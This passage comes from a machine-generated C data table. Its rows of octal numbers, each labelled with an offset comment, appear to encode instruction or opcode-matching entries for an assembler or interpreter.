/* 2706 */ 0261,01,053,01,0302,0120,01,04,0,
/* 2715 */ 0260,01,053,01,0302,0110,01,04,0,
/* 2724 */ 0261,01,053,01,0302,0120,01,05,0,
/* 2733 */ 0260,01,053,01,0302,0110,01,05,0,
/* 2742 */ 0261,01,053,01,0302,0120,01,06,0,
/* 2751 */ 0260,01,053,01,0302,0110,01,06,0,
/* 2760 */ 0261,01,053,01,0302,0120,01,07,0,
/* 2769 */ 0260,01,053,01,0302,0110,01,07,0,
/* 2778 */ 0261,01,053,01,0302,0120,01,010,0,
/* 2787 */ 0260,01,053,01,0302,0110,01,010,0,
/* 2796 */ 0261,01,053,01,0302,0120,01,011,0,
/* 2805 */ 0260,01,053,01,0302,0110,01,011,0,
/* 2814 */ 0261,01,053,01,0302,0120,01,012,0,
/* 2823 */ 0260,01,053,01,0302,0110,01,012,0,
/* 2832 */ 0261,01,053,01,0302,0120,01,013,0,
/* 2841 */ 0260,01,053,01,0302,0110,01,013,0,
/* 2850 */ 0261,01,053,01,0302,0120,01,014,0,
/* 2859 */ 0260,01,053,01,0302,0110,01,014,0,
/* 2868 */ 0261,01,053,01,0302,0120,01,015,0,
/* 2877 */ 0260,01,053,01,0302,0110,01,015,0,
/* 2886 */ 0261,01,053,01,0302,0120,01,016,0,
/* 2895 */ 0260,01,053,01,0302,0110,01,016,0,
/* 2904 */ 0261,01,053,01,0302,0120,01,017,0,
/* 2913 */ 0260,01,053,01,0302,0110,01,017,0,
/* 2922 */ 0261,01,053,01,0302,0120,01,021,0,
/* 2931 */ 0260,01,053,01,0302,0110,01,021,0,
/* 2940 */ 0261,01,053,01,0302,0120,01,022,0,
/* 2949 */ 0260,01,053,01,0302,0110,01,022,0,
/* 2958 */ 0261,01,053,01,0302,0120,01,023,0,
/* 2967 */ 0260,01,053,01,0302,0110,01,023,0,
/* 2976 */ 0261,01,053,01,0302,0120,01,024,0,
/* 2985 */ 0260,01,053,01,0302,0110,01,024,0,
/* 2994 */ 0261,01,053,01,0302,0120,01,025,0,
/* 3003 */ 0260,01,053,01,0302,0110,01,025,0,
/* 3012 */ 0261,01,053,01,0302,0120,01,026,0,
/* 3021 */ 0260,01,053,01,0302,0110,01,026,0,
/* 3030 */ 0261,01,053,01,0302,0120,01,027,0,
/* 3039 */ 0260,01,053,01,0302,0110,01,027,0,
/* 3048 */ 0261,01,053,01,0302,0120,01,030,0,
/* 3057 */ 0260,01,053,01,0302,0110,01,030,0,
/* 3066 */ 0261,01,053,01,0302,0120,01,031,0,
/* 3075 */ 0260,01,053,01,0302,0110,01,031,0,
/* 3084 */ 0261,01,053,01,0302,0120,01,032,0,
/* 3093 */ 0260,01,053,01,0302,0110,01,032,0,
/* 3102 */ 0261,01,053,01,0302,0120,01,033,0,
/* 3111 */ 0260,01,053,01,0302,0110,01,033,0,
/* 3120 */ 0261,01,053,01,0302,0120,01,034,0,
/* 3129 */ 0260,01,053,01,0302,0110,01,034,0,
/* 3138 */ 0261,01,053,01,0302,0120,01,035,0,
/* 3147 */ 0260,01,053,01,0302,0110,01,035,0,
/* 3156 */ 0261,01,053,01,0302,0120,01,036,0,
/* 3165 */ 0260,01,053,01,0302,0110,01,036,0,
/* 3174 */ 0261,01,053,01,0302,0120,01,037,0,
/* 3183 */ 0260,01,053,01,0302,0110,01,037,0,
/* 3192 */ 0261,01,052,01,0302,0120,01,020,0,
/* 3201 */ 0260,01,052,01,0302,0110,01,020,0,
/* 3210 */ 0261,01,052,01,0302,0120,01,0,0,
/* 3219 */ 0260,01,052,01,0302,0110,01,0,0,
/* 3228 */ 0261,01,052,01,0302,0120,01,01,0,
/* 3237 */ 0260,01,052,01,0302,0110,01,01,0,
/* 3246 */ 0261,01,052,01,0302,0120,01,02,0,
/* 3255 */ 0260,01,052,01,0302,0110,01,02,0,
/* 3264 */ 0261,01,052,01,0302,0120,01,03,0,
/* 3273 */ 0260,01,052,01,0302,0110,01,03,0,
/* 3282 */ 0261,01,052,01,0302,0120,01,04,0,
/* 3291 */ 0260,01,052,01,0302,0110,01,04,0,
/* 3300 */ 0261,01,052,01,0302,0120,01,05,0,
/* 3309 */ 0260,01,052,01,0302,0110,01,05,0,
/* 3318 */ 0261,01,052,01,0302,0120,01,06,0,
/* 3327 */ 0260,01,052,01,0302,0110,01,06,0,
/* 3336 */ 0261,01,052,01,0302,0120,01,07,0,
/* 3345 */ 0260,01,052,01,0302,0110,01,07,0,
/* 3354 */ 0261,01,052,01,0302,0120,01,010,0,
/* 3363 */ 0260,01,052,01,0302,0110,01,010,0,
/* 3372 */ 0261,01,052,01,0302,0120,01,011,0,
/* 3381 */ 0260,01,052,01,0302,0110,01,011,0,
/* 3390 */ 0261,01,052,01,0302,0120,01,012,0,
/* 3399 */ 0260,01,052,01,0302,0110,01,012,0,
/* 3408 */ 0261,01,052,01,0302,0120,01,013,0,
/* 3417 */ 0260,01,052,01,0302,0110,01,013,0,
/* 3426 */ 0261,01,052,01,0302,0120,01,014,0,
/* 3435 */ 0260,01,052,01,0302,0110,01,014,0,
/* 3444 */ 0261,01,052,01,0302,0120,01,015,0,
/* 3453 */ 0260,01,052,01,0302,0110,01,015,0,
/* 3462 */ 0261,01,052,01,0302,0120,01,016,0,
/* 3471 */ 0260,01,052,01,0302,0110,01,016,0,
/* 3480 */ 0261,01,052,01,0302,0120,01,017,0,
/* 3489 */ 0260,01,052,01,0302,0110,01,017,0,
/* 3498 */ 0261,01,052,01,0302,0120,01,021,0,
/* 3507 */ 0260,01,052,01,0302,0110,01,021,0,
/* 3516 */ 0261,01,052,01,0302,0120,01,022,0,
/* 3525 */ 0260,01,052,01,0302,0110,01,022,0,
/* 3534 */ 0261,01,052,01,0302,0120,01,023,0,
/* 3543 */ 0260,01,052,01,0302,0110,01,023,0,
/* 3552 */ 0261,01,052,01,0302,0120,01,024,0,
/* 3561 */ 0260,01,052,01,0302,0110,01,024,0,
/* 3570 */ 0261,01,052,01,0302,0120,01,025,0,
/* 3579 */ 0260,01,052,01,0302,0110,01,025,0,
/* 3588 */ 0261,01,052,01,0302,0120,01,026,0,
/* 3597 */ 0260,01,052,01,0302,0110,01,026,0,
/* 3606 */ 0261,01,052,01,0302,0120,01,027,0,
/* 3615 */ 0260,01,052,01,0302,0110,01,027,0,
/* 3624 */ 0261,01,052,01,0302,0120,01,030,0,
/* 3633 */ 0260,01,052,01,0302,0110,01,030,0,
/* 3642 */ 0261,01,052,01,0302,0120,01,031,0,
/* 3651 */ 0260,01,052,01,0302,0110,01,031,0,
/* 3660 */ 0261,01,052,01,0302,0120,01,032,0,
/* 3669 */ 0260,01,052,01,0302,0110,01,032,0,
/* 3678 */ 0261,01,052,01,0302,0120,01,033,0,
/* 3687 */ 0260,01,052,01,0302,0110,01,033,0,
/* 3696 */ 0261,01,052,01,0302,0120,01,034,0,
/* 3705 */ 0260,01,052,01,0302,0110,01,034,0,
/* 3714 */ 0261,01,052,01,0302,0120,01,035,0,
/* 3723 */ 0260,01,052,01,0302,0110,01,035,0,
/* 3732 */ 0261,01,052,01,0302,0120,01,036,0,
/* 3741 */ 0260,01,052,01,0302,0110,01,036,0,
/* 3750 */ 0261,01,052,01,0302,0120,01,037,0,
/* 3759 */ 0260,01,052,01,0302,0110,01,037,0,
/* 3768 */ 0361,03,017,072,0104,0110,01,0,0,
/* 3777 */ 0361,03,017,072,0104,0110,01,01,0,
/* 3786 */ 0361,03,017,072,0104,0110,01,020,0,
/* 3795 */ 0361,03,017,072,0104,0110,01,021,0,
/* 3804 */ 0261,03,041,01,0104,0120,01,0,0,
/* 3813 */ 0260,03,041,01,0104,0110,01,0,0,
/* 3822 */ 0261,03,041,01,0104,0120,01,01,0,
/* 3831 */ 0260,03,041,01,0104,0110,01,01,0,
/* 3840 */ 0261,03,041,01,0104,0120,01,020,0,
/* 3849 */ 0260,03,041,01,0104,0110,01,020,0,
/* 3858 */ 0261,03,041,01,0104,0120,01,021,0,
/* 3867 */ 0260,03,041,01,0104,0110,01,021,0,
/* 3876 */ 0261,03,045,01,0104,0120,01,0,0,
/* 3885 */ 0260,03,045,01,0104,0110,01,0,0,
/* 3894 */ 0261,03,045,01,0104,0120,01,01,0,
/* 3903 */ 0260,03,045,01,0104,0110,01,01,0,
/* 3912 */ 0261,03,045,01,0104,0120,01,020,0,
/* 3921 */ 0260,03,045,01,0104,0110,01,020,0,
/* 3930 */ 0261,03,045,01,0104,0120,01,021,0,
/* 3939 */ 0260,03,045,01,0104,0110,01,021,0,
/* 3948 */ 0241,0203,041,0301,01,0104,0120,023,0,
/* 3957 */ 0240,0203,041,0301,01,0104,0110,022,0,
/* 3966 */ 0241,0203,045,0301,01,0104,0120,023,0,
/* 3975 */ 0240,0203,045,0301,01,0104,0110,022,0,
/* 3984 */ 0241,0203,051,0301,01,0104,0120,023,0,
/* 3993 */ 0240,0203,051,0301,01,0104,0110,022,0,
/* 4002 */ 0241,0203,01,0301,01,03,0120,023,0,
/* 4011 */ 0240,0203,01,0301,01,03,0110,022,0,
/* 4020 */ 0241,0203,05,0301,01,03,0120,023,0,
/* 4029 */ 0240,0203,05,0301,01,03,0110,022,0,
/* 4038 */ 0241,0203,011,0301,01,03,0120,023,0,
/* 4047 */ 0240,0203,011,0301,01,03,0110,022,0,
/* 4056 */ 0241,0203,021,0301,01,03,0120,023,0,
/* 4065 */ 0240,0203,021,0301,01,03,0110,022,0,
/* 4074 */ 0241,0203,025,0301,01,03,0120,023,0,
/* 4083 */ 0240,0203,025,0301,01,03,0110,022,0,
/* 4092 */ 0241,0203,031,0301,01,03,0120,023,0,
/* 4101 */ 0240,0203,031,0301,01,03,0110,022,0,
/* 4110 */ 0241,0201,021,0301,01,0302,0120,023,0,
/* 4119 */ 0241,0201,025,0301,01,0302,0120,023,0,
/* 4128 */ 0241,0201,031,0301,01,0302,0120,023,0,
/* 4137 */ 0241,0201,0,0301,01,0302,0120,023,0,
/* 4146 */ 0241,0201,04,0301,01,0302,0120,023,0,
/* 4155 */ 0241,0201,010,0301,01,0302,0120,023,0,
/* 4164 */ 0241,0201,023,0306,01,0302,0120,023,0,
/* 4173 */ 0241,0201,02,0306,01,0302,0120,023,0,
/* 4182 */ 0250,0203,01,0314,01,035,0101,022,0,
/* 4191 */ 0250,0203,05,0314,01,035,0101,022,0,
/* 4200 */ 0250,0203,011,0314,01,035,0101,022,0,
/* 4209 */ 0241,0203,01,0303,01,0102,0120,023,0,
/* 4218 */ 0240,0203,01,0303,01,0102,0110,022,0,
/* 4227 */ 0241,0203,05,0303,01,0102,0120,023,0,
/* 4236 */ 0240,0203,05,0303,01,0102,0110,022,0,
/* 4245 */ 0241,0203,011,0303,01,0102,0120,023,0,
/* 4254 */ 0240,0203,011,0303,01,0102,0110,022,0,
/* 4263 */ 0250,0203,05,0300,01,031,0101,022,0,
/* 4272 */ 0250,0203,011,0300,01,031,0101,022,0,
/* 4281 */ 0250,0203,05,0312,01,031,0101,022,0,
/* 4290 */ 0250,0203,011,0312,01,031,0101,022,0,
/* 4299 */ 0250,0203,011,0300,01,033,0101,022,0,
/* 4308 */ 0250,0203,011,0313,01,033,0101,022,0,
/* 4317 */ 0250,0203,025,0300,01,031,0101,022,0,
/* 4326 */ 0250,0203,031,0300,01,031,0101,022,0,
/* 4335 */ 0250,0203,025,0311,01,031,0101,022,0,
/* 4344 */ 0250,0203,031,0311,01,031,0101,022,0,
/* 4353 */ 0250,0203,031,0300,01,033,0101,022,0,
/* 4362 */ 0250,0203,031,0312,01,033,0101,022,0,
/* 4371 */ 0250,0203,05,0300,01,071,0101,022,0,
/* 4380 */ 0250,0203,011,0300,01,071,0101,022,0,
/* 4389 */ 0250,0203,05,0312,01,071,0101,022,0,
/* 4398 */ 0250,0203,011,0312,01,071,0101,022,0,
/* 4407 */ 0250,0203,011,0300,01,073,0101,022,0,
/* 4416 */ 0250,0203,011,0313,01,073,0101,022,0,
/* 4425 */ 0250,0203,025,0300,01,071,0101,022,0,
/* 4434 */ 0250,0203,031,0300,01,071,0101,022,0,
/* 4443 */ 0250,0203,025,0311,01,071,0101,022,0,
/* 4452 */ 0250,0203,031,0311,01,071,0101,022,0,
/* 4461 */ 0250,0203,031,0300,01,073,0101,022,0,
/* 4470 */ 0250,0203,031,0312,01,073,0101,022,0,
/* 4479 */ 0250,0203,041,0306,01,027,0101,022,0,
/* 4488 */ 0241,0203,021,0301,01,0124,0120,023,0,
/* 4497 */ 0240,0203,021,0301,01,0124,0110,022,0,
/* 4506 */ 0241,0203,025,0301,01,0124,0120,023,0,
/* 4515 */ 0240,0203,025,0301,01,0124,0110,022,0,
/* 4524 */ 0241,0203,031,0301,01,0124,0120,023,0,
/* 4533 */ 0240,0203,031,0301,01,0124,0110,022,0,
/* 4542 */ 0241,0203,01,0301,01,0124,0120,023,0,
/* 4551 */ 0240,0203,01,0301,01,0124,0110,022,0,
/* 4560 */ 0241,0203,05,0301,01,0124,0120,023,0,
/* 4569 */ 0240,0203,05,0301,01,0124,0110,022,0,
/* 4578 */ 0241,0203,011,0301,01,0124,0120,023,0,
/* 4587 */ 0240,0203,011,0301,01,0124,0110,022,0,
/* 4596 */ 0241,0203,021,0306,01,0125,0120,023,0,
/* 4605 */ 0240,0203,021,0306,01,0125,0110,022,0,
/* 4614 */ 0241,0203,01,0306,01,0125,0120,023,0,
/* 4623 */ 0240,0203,01,0306,01,0125,0110,022,0,
/* 4632 */ 0250,0203,021,0301,01,0146,0110,022,0,
/* 4641 */ 0250,0203,025,0301,01,0146,0110,022,0,
/* 4650 */ 0250,0203,031,0301,01,0146,0110,022,0,
/* 4659 */ 0250,0203,01,0301,01,0146,0110,022,0,
/* 4668 */ 0250,0203,05,0301,01,0146,0110,022,0,
/* 4677 */ 0250,0203,011,0301,01,0146,0110,022,0,
/* 4686 */ 0250,0203,021,0306,01,0147,0110,022,0,
/* 4695 */ 0250,0203,01,0306,01,0147,0110,022,0,
/* 4704 */ 0374,0250,0202,021,0306,01,0222,0110,0,
/* 4713 */ 0374,0250,0202,025,0306,01,0222,0110,0,
/* 4722 */ 0375,0250,0202,031,0306,01,0222,0110,0,
/* 4731 */ 0374,0250,0202,01,0306,01,0222,0110,0,
/* 4740 */ 0375,0250,0202,05,0306,01,0222,0110,0,
/* 4749 */ 0376,0250,0202,011,0306,01,0222,0110,0,
/* 4758 */ 0375,0250,0202,031,0306,01,0306,0201,0,
/* 4767 */ 0376,0250,0202,011,0306,01,0306,0201,0,
/* 4776 */ 0376,0250,0202,031,0306,01,0307,0201,0,
/* 4785 */ 0376,0250,0202,011,0306,01,0307,0201,0,
/* 4794 */ 0375,0250,0202,031,0306,01,0306,0202,0,
/* 4803 */ 0376,0250,0202,011,0306,01,0306,0202,0,
/* 4812 */ 0376,0250,0202,031,0306,01,0307,0202,0,
/* 4821 */ 0376,0250,0202,011,0306,01,0307,0202,0,
/* 4830 */ 0374,0250,0202,021,0306,01,0223,0110,0,
/* 4839 */ 0375,0250,0202,025,0306,01,0223,0110,0,
/* 4848 */ 0376,0250,0202,031,0306,01,0223,0110,0,
/* 4857 */ 0374,0250,0202,01,0306,01,0223,0110,0,
/* 4866 */ 0375,0250,0202,05,0306,01,0223,0110,0,
/* 4875 */ 0376,0250,0202,011,0306,01,0223,0110,0,
/* 4884 */ 0250,0203,021,0301,01,046,0110,022,0,
/* 4893 */ 0250,0203,025,0301,01,046,0110,022,0,
/* 4902 */ 0250,0203,031,0301,01,046,0110,022,0,
/* 4911 */ 0250,0203,01,0301,01,046,0110,022,0,
/* 4920 */ 0250,0203,05,0301,01,046,0110,022,0,
/* 4929 */ 0250,0203,011,0301,01,046,0110,022,0,
/* 4938 */ 0241,0203,021,0306,01,047,0120,023,0,
/* 4947 */ 0241,0203,01,0306,01,047,0120,023,0,
/* 4956 */ 0241,0203,05,0312,01,030,0120,023,0,
/* 4965 */ 0240,0203,05,0312,01,030,0110,022,0,
/* 4974 */ 0241,0203,011,0312,01,030,0120,023,0,
/* 4983 */ 0240,0203,011,0312,01,030,0110,022,0,
/* 4992 */ 0241,0203,011,0313,01,032,0120,023,0,
/* 5001 */ 0240,0203,011,0313,01,032,0110,022,0,
/* 5010 */ 0241,0203,025,0311,01,030,0120,023,0,
/* 5019 */ 0240,0203,025,0311,01,030,0110,022,0,
/* 5028 */ 0241,0203,031,0311,01,030,0120,023,0,
/* 5037 */ 0240,0203,031,0311,01,030,0110,022,0,
/* 5046 */ 0241,0203,031,0312,01,032,0120,023,0,
/* 5055 */ 0240,0203,031,0312,01,032,0110,022,0,
/* 5064 */ 0241,0203,05,0312,01,070,0120,023,0,
/* 5073 */ 0240,0203,05,0312,01,070,0110,022,0,
/* 5082 */ 0241,0203,011,0312,01,070,0120,023,0,
/* 5091 */ 0240,0203,011,0312,01,070,0110,022,0,
/* 5100 */ 0241,0203,011,0313,01,072,0120,023,0,
/* 5109 */ 0240,0203,011,0313,01,072,0110,022,0,
/* 5118 */ 0241,0203,025,0311,01,070,0120,023,0,
/* 5127 */ 0240,0203,025,0311,01,070,0110,022,0,
/* 5136 */ 0241,0203,031,0311,01,070,0120,023,0,
/* 5145 */ 0240,0203,031,0311,01,070,0110,022,0,
/* 5154 */ 0241,0203,031,0312,01,072,0120,023,0,
/* 5163 */ 0240,0203,031,0312,01,072,0110,022,0,
/* 5172 */ 0241,0203,01,0306,01,041,0120,023,0,
/* 5181 */ 0240,0203,01,0306,01,041,0110,022,0,
/* 5190 */ 0241,0203,041,0303,01,017,0120,023,0,
/* 5199 */ 0240,0203,041,0303,01,017,0110,022,0,
/* 5208 */ 0241,0203,045,0303,01,017,0120,023,0,
/* 5217 */ 0240,0203,045,0303,01,017,0110,022,0,
/* 5226 */ 0241,0203,051,0303,01,017,0120,023,0,
/* 5235 */ 0240,0203,051,0303,01,017,0110,022,0,
/* 5244 */ 0241,0203,01,0303,01,077,0120,023,0,
/* 5253 */ 0241,0203,05,0303,01,077,0120,023,0,
/* 5262 */ 0241,0203,011,0303,01,077,0120,023,0,
/* 5271 */ 0241,0203,01,0301,01,037,0120,023,0,
/* 5280 */ 0241,0203,05,0301,01,037,0120,023,0,
/* 5289 */ 0241,0203,011,0301,01,037,0120,023,0,
/* 5298 */ 0241,0203,021,0301,01,037,0120,023,0,
/* 5307 */ 0241,0203,025,0301,01,037,0120,023,0,
/* 5316 */ 0241,0203,031,0301,01,037,0120,023,0,
/* 5325 */ 0241,0203,01,0303,01,076,0120,023,0,
/* 5334 */ 0241,0203,05,0303,01,076,0120,023,0,
/* 5343 */ 0241,0203,011,0303,01,076,0120,023,0,
/* 5352 */ 0241,0203,01,0301,01,036,0120,023,0,
/* 5361 */ 0241,0203,05,0301,01,036,0120,023,0,
/* 5370 */ 0241,0203,011,0301,01,036,0120,023,0,
/* 5379 */ 0241,0203,021,0301,01,036,0120,023,0,
/* 5388 */ 0241,0203,025,0301,01,036,0120,023,0,
/* 5397 */ 0241,0203,031,0301,01,036,0120,023,0,
/* 5406 */ 0241,0203,021,0303,01,076,0120,023,0,
/* 5415 */ 0241,0203,025,0303,01,076,0120,023,0,
/* 5424 */ 0241,0203,031,0303,01,076,0120,023,0,
/* 5433 */ 0241,0203,021,0303,01,077,0120,023,0,
/* 5442 */ 0241,0203,025,0303,01,077,0120,023,0,
/* 5451 */ 0241,0203,031,0303,01,077,0120,023,0,
/* 5460 */ 0250,0203,021,0301,01,05,0110,022,0,
/* 5469 */ 0250,0203,025,0301,01,05,0110,022,0,
/* 5478 */ 0250,0203,031,0301,01,05,0110,022,0,
/* 5487 */ 0250,0203,01,0301,01,04,0110,022,0,
/* 5496 */ 0250,0203,05,0301,01,04,0110,022,0,
/* 5505 */ 0250,0203,011,0301,01,04,0110,022,0,
/* 5514 */ 0250,0203,025,0301,01,01,0110,022,0,
/* 5523 */ 0250,0203,031,0301,01,01,0110,022,0,
/* 5532 */ 0250,0203,025,0301,01,0,0110,022,0,
/* 5541 */ 0250,0203,031,0301,01,0,0110,022,0,
/* 5550 */ 0250,0203,041,0304,01,024,0101,022,0,
/* 5559 */ 0250,0203,01,0306,01,026,0101,022,0,
/* 5568 */ 0250,0203,021,0306,01,026,0101,022,0,
/* 5577 */ 0250,0203,041,0305,01,025,0101,022,0,
/* 5586 */ 0250,0201,041,0300,01,0305,0110,022,0,
/* 5595 */ 0374,0250,0202,01,0306,01,0220,0110,0,
/* 5604 */ 0375,0250,0202,05,0306,01,0220,0110,0,
/* 5613 */ 0376,0250,0202,011,0306,01,0220,0110,0,
/* 5622 */ 0374,0250,0202,021,0306,01,0220,0110,0,
/* 5631 */ 0374,0250,0202,025,0306,01,0220,0110,0,
/* 5640 */ 0375,0250,0202,031,0306,01,0220,0110,0,
/* 5649 */ 0374,0250,0202,01,0306,01,0221,0110,0,
/* 5658 */ 0375,0250,0202,05,0306,01,0221,0110,0,
/* 5667 */ 0376,0250,0202,011,0306,01,0221,0110,0,
/* 5676 */ 0374,0250,0202,021,0306,01,0221,0110,0,
/* 5685 */ 0375,0250,0202,025,0306,01,0221,0110,0,
/* 5694 */ 0376,0250,0202,031,0306,01,0221,0110,0,
/* 5703 */ 0241,0203,041,0304,01,040,0120,023,0,
/* 5712 */ 0240,0203,041,0304,01,040,0110,022,0,
/* 5721 */ 0241,0203,01,0306,01,042,0120,023,0,
/* 5730 */ 0240,0203,01,0306,01,042,0110,022,0,
/* 5739 */ 0241,0203,021,0306,01,042,0120,023,0,
/* 5748 */ 0240,0203,021,0306,01,042,0110,022,0,
/* 5757 */ 0241,0201,041,0305,01,0304,0120,023,0,
/* 5766 */ 0240,0201,041,0305,01,0304,0110,022,0,
/* 5775 */ 0240,0201,01,0301,01,0162,0211,022,0,
/* 5784 */ 0240,0201,01,0301,01,0162,0201,021,0,
/* 5793 */ 0240,0201,05,0301,01,0162,0211,022,0,
/* 5802 */ 0240,0201,05,0301,01,0162,0201,021,0,
/* 5811 */ 0240,0201,011,0301,01,0162,0211,022,0,
/* 5820 */ 0240,0201,011,0301,01,0162,0201,021,0,
/* 5829 */ 0240,0201,021,0301,01,0162,0211,022,0,
/* 5838 */ 0240,0201,021,0301,01,0162,0201,021,0,
/* 5847 */ 0240,0201,025,0301,01,0162,0211,022,0,
/* 5856 */ 0240,0201,025,0301,01,0162,0201,021,0,
/* 5865 */ 0240,0201,031,0301,01,0162,0211,022,0,
/* 5874 */ 0240,0201,031,0301,01,0162,0201,021,0,
/* 5883 */ 0240,0201,01,0301,01,0162,0210,022,0,
/* 5892 */ 0240,0201,01,0301,01,0162,0200,021,0,
/* 5901 */ 0240,0201,05,0301,01,0162,0210,022,0,
/* 5910 */ 0240,0201,05,0301,01,0162,0200,021,0,
/* 5919 */ 0240,0201,011,0301,01,0162,0210,022,0,
/* 5928 */ 0240,0201,011,0301,01,0162,0200,021,0,
/* 5937 */ 0240,0201,021,0301,01,0162,0210,022,0,
/* 5946 */ 0240,0201,021,0301,01,0162,0200,021,0,
/* 5955 */ 0240,0201,025,0301,01,0162,0210,022,0,
/* 5964 */ 0240,0201,025,0301,01,0162,0200,021,0,
/* 5973 */ 0240,0201,031,0301,01,0162,0210,022,0,
/* 5982 */ 0240,0201,031,0301,01,0162,0200,021,0,
/* 5991 */ 0374,0250,0202,01,0306,01,0240,0101,0,
/* 6000 */ 0375,0250,0202,05,0306,01,0240,0101,0,
/* 6009 */ 0376,0250,0202,011,0306,01,0240,0101,0,
/* 6018 */ 0374,0250,0202,021,0306,01,0240,0101,0,
/* 6027 */ 0374,0250,0202,025,0306,01,0240,0101,0,
/* 6036 */ 0375,0250,0202,031,0306,01,0240,0101,0,
/* 6045 */ 0374,0250,0202,01,0306,01,0241,0101,0,
/* 6054 */ 0375,0250,0202,05,0306,01,0241,0101,0,
/* 6063 */ 0376,0250,0202,011,0306,01,0241,0101,0,
/* 6072 */ 0374,0250,0202,021,0306,01,0241,0101,0,
/* 6081 */ 0375,0250,0202,025,0306,01,0241,0101,0,
/* 6090 */ 0376,0250,0202,031,0306,01,0241,0101,0,
/* 6099 */ 0250,0201,01,0301,01,0160,0110,022,0,
/* 6108 */ 0250,0201,05,0301,01,0160,0110,022,0,
/* 6117 */ 0250,0201,011,0301,01,0160,0110,022,0,
/* 6126 */ 0250,0201,042,0303,01,0160,0110,022,0,
/* 6135 */ 0250,0201,046,0303,01,0160,0110,022,0,
/* 6144 */ 0250,0201,052,0303,01,0160,0110,022,0,
/* 6153 */ 0250,0201,043,0303,01,0160,0110,022,0,
/* 6162 */ 0250,0201,047,0303,01,0160,0110,022,0,
/* 6171 */ 0250,0201,053,0303,01,0160,0110,022,0,
/* 6180 */ 0240,0201,01,0301,01,0162,0216,022,0,
/* 6189 */ 0240,0201,01,0301,01,0162,0206,021,0,
/* 6198 */ 0240,0201,05,0301,01,0162,0216,022,0,
/* 6207 */ 0240,0201,05,0301,01,0162,0206,021,0,
/* 6216 */ 0240,0201,011,0301,01,0162,0216,022,0,
/* 6225 */ 0240,0201,011,0301,01,0162,0206,021,0,
/* 6234 */ 0240,0201,041,0303,01,0163,0217,022,0,
/* 6243 */ 0240,0201,041,0303,01,0163,0207,021,0,
/* 6252 */ 0240,0201,045,0303,01,0163,0217,022,0,
/* 6261 */ 0240,0201,045,0303,01,0163,0207,021,0,
/* 6270 */ 0240,0201,051,0303,01,0163,0217,022,0,
/* 6279 */ 0240,0201,051,0303,01,0163,0207,021,0,
/* 6288 */ 0240,0201,021,0301,01,0163,0216,022,0,
/* 6297 */ 0240,0201,021,0301,01,0163,0206,021,0,
/* 6306 */ 0240,0201,025,0301,01,0163,0216,022,0,
/* 6315 */ 0240,0201,025,0301,01,0163,0206,021,0,
/* 6324 */ 0240,0201,031,0301,01,0163,0216,022,0,
/* 6333 */ 0240,0201,031,0301,01,0163,0206,021,0,
/* 6342 */ 0240,0201,041,0303,01,0161,0216,022,0,
/* 6351 */ 0240,0201,041,0303,01,0161,0206,021,0,
/* 6360 */ 0240,0201,045,0303,01,0161,0216,022,0,
/* 6369 */ 0240,0201,045,0303,01,0161,0206,021,0,
/* 6378 */ 0240,0201,051,0303,01,0161,0216,022,0,
/* 6387 */ 0240,0201,051,0303,01,0161,0206,021,0,
/* 6396 */ 0240,0201,01,0301,01,0162,0214,022,0,
/* 6405 */ 0240,0201,01,0301,01,0162,0204,021,0,
/* 6414 */ 0240,0201,05,0301,01,0162,0214,022,0,
/* 6423 */ 0240,0201,05,0301,01,0162,0204,021,0,
/* 6432 */ 0240,0201,011,0301,01,0162,0214,022,0,
/* 6441 */ 0240,0201,011,0301,01,0162,0204,021,0,
/* 6450 */ 0240,0201,021,0301,01,0162,0214,022,0,
/* 6459 */ 0240,0201,021,0301,01,0162,0204,021,0,
/* 6468 */ 0240,0201,025,0301,01,0162,0214,022,0,
/* 6477 */ 0240,0201,025,0301,01,0162,0204,021,0,
/* 6486 */ 0240,0201,031,0301,01,0162,0214,022,0,
/* 6495 */ 0240,0201,031,0301,01,0162,0204,021,0,
/* 6504 */ 0240,0201,041,0303,01,0161,0214,022,0,
/* 6513 */ 0240,0201,041,0303,01,0161,0204,021,0,
/* 6522 */ 0240,0201,045,0303,01,0161,0214,022,0,
/* 6531 */ 0240,0201,045,0303,01,0161,0204,021,0,
/* 6540 */ 0240,0201,051,0303,01,0161,0214,022,0,
/* 6549 */ 0240,0201,051,0303,01,0161,0204,021,0,
/* 6558 */ 0240,0201,01,0301,01,0162,0212,022,0,
/* 6567 */ 0240,0201,01,0301,01,0162,0202,021,0,
/* 6576 */ 0240,0201,05,0301,01,0162,0212,022,0,
/* 6585 */ 0240,0201,05,0301,01,0162,0202,021,0,
/* 6594 */ 0240,0201,011,0301,01,0162,0212,022,0,
/* 6603 */ 0240,0201,011,0301,01,0162,0202,021,0,
/* 6612 */ 0240,0201,041,0303,01,0163,0213,022,0,
/* 6621 */ 0240,0201,041,0303,01,0163,0203,021,0,
/* 6630 */ 0240,0201,045,0303,01,0163,0213,022,0,
/* 6639 */ 0240,0201,045,0303,01,0163,0203,021,0,
/* 6648 */ 0240,0201,051,0303,01,0163,0213,022,0,
/* 6657 */ 0240,0201,051,0303,01,0163,0203,021,0,
/* 6666 */ 0240,0201,021,0301,01,0163,0212,022,0,
/* 6675 */ 0240,0201,021,0301,01,0163,0202,021,0,
/* 6684 */ 0240,0201,025,0301,01,0163,0212,022,0,
/* 6693 */ 0240,0201,025,0301,01,0163,0202,021,0,
/* 6702 */ 0240,0201,031,0301,01,0163,0212,022,0,
/* 6711 */ 0240,0201,031,0301,01,0163,0202,021,0,
/* 6720 */ 0240,0201,041,0303,01,0161,0212,022,0,
/* 6729 */ 0240,0201,041,0303,01,0161,0202,021,0,
/* 6738 */ 0240,0201,045,0303,01,0161,0212,022,0,
/* 6747 */ 0240,0201,045,0303,01,0161,0202,021,0,
/* 6756 */ 0240,0201,051,0303,01,0161,0212,022,0,
/* 6765 */ 0240,0201,051,0303,01,0161,0202,021,0,
/* 6774 */ 0241,0203,01,0301,01,045,0120,023,0,
/* 6783 */ 0241,0203,05,0301,01,045,0120,023,0,
/* 6792 */ 0241,0203,011,0301,01,045,0120,023,0,
/* 6801 */ 0241,0203,021,0301,01,045,0120,023,0,
/* 6810 */ 0241,0203,025,0301,01,045,0120,023,0,
/* 6819 */ 0241,0203,031,0301,01,045,0120,023,0,
/* 6828 */ 0241,0203,021,0301,01,0120,0120,023,0,
/* 6837 */ 0240,0203,021,0301,01,0120,0110,022,0,
/* 6846 */ 0241,0203,025,0301,01,0120,0120,023,0,
/* 6855 */ 0240,0203,025,0301,01,0120,0110,022,0,
/* 6864 */ 0241,0203,031,0301,01,0120,0120,023,0,
/* 6873 */ 0240,0203,031,0301,01,0120,0110,022,0,
/* 6882 */ 0241,0203,01,0301,01,0120,0120,023,0,
